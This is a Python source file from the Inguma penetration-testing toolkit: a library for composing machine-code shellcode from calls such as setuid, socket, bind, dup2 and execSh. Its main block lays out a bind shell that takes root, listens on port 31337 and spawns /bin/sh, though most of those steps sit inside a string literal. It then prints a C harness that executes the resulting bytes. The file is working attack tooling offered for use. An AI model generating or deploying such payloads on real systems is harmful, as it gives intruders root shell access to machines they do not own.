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#!/usr/bin/python
"""
PyShellCode library for Inguma Version 0.0.2
A library to write shellcodes coding in python.
Copyright (c) 2006, 2007 Joxean Koret, joxeankoret [at] yahoo.es
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; version 2
of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
"""
import sys
import binascii
class PyEgg:
osType = None
processor = None
buf = ""
internal = None
badChars = []
ids = 0
generator = None
def __init__(self, mOsType="linux", mProcessor="x86", mIds = 0):
self.osType = mOsType.lower()
self.processor = mProcessor.lower()
self.ids = mIds
if not self.osType.isalnum() or not self.processor.isalnum():
print "ERROR: Unacceptable module %s.%s" % (self.osType, self.processor)
raise
# FIXME: Horrible hack!
module = "import %s.%s as internal" % (self.processor, self.osType)
exec(module)
self.internal = internal
self.generator = internal.CBaseShellcode()
self.generator.ids = self.ids
def getNops(self, size):
return self.generator.nop(size, self.badChars)
def getShellcode(self):
ret = ""
for c in self.buf:
ret += chr(92) + "x" + binascii.b2a_hex(c)
return ret
def getEgg(self):
return self.buf
def appendNops(self, size):
self.buf += self.getNops(size)
def setuid(self, mid = 0):
self.buf += self.generator.setuid(mid)
def setgid(self, mid = 0):
self.buf += self.generator.setgid(mid)
def socket(self, adomain, atype, aprotocol=0):
self.buf += self.generator.socket(adomain, atype, aprotocol)
def bind(self, aport):
self.buf += self.generator.bind(aport)
def listen(self, abacklog=1):
self.buf += self.generator.listen(abacklog)
def accept(self):
self.buf += self.generator.accept()
def exit(self, retvalue=0):
self.buf += self.generator.exit(retvalue)
def close(self, fd=0):
self.buf += self.generator.close(fd)
def dup2(self, fd=0):
self.buf += self.generator.dup2(fd)
def execSh(self):
self.buf += self.generator.execSh()
if __name__ == "__main__":
import socket
#a = PyEgg("openbsd")
#a = PyEgg("linux")
a = PyEgg("macosx")
# Change to root
a.setuid(0)
"""
a.setgid(0)
# Listen in all available addresses at port 31337
a.socket(socket.AF_INET, socket.SOCK_STREAM)
a.bind(31337)
a.listen()
# Got a connection, duplicate fd descriptors
a.accept()
a.dup2(2)
a.dup2(1)
a.dup2(0)
# Run /bin/sh
a.execSh()
# Uncomment to append 101 characters (NOPS)
a.appendNops(101)"""
sc = a.getShellcode()
print "#include <stdio.h>"
print
print 'char *sc="%s";' % sc
print
print "int main(void) {"
print "\t((void(*)())sc)();"
print "}"
print
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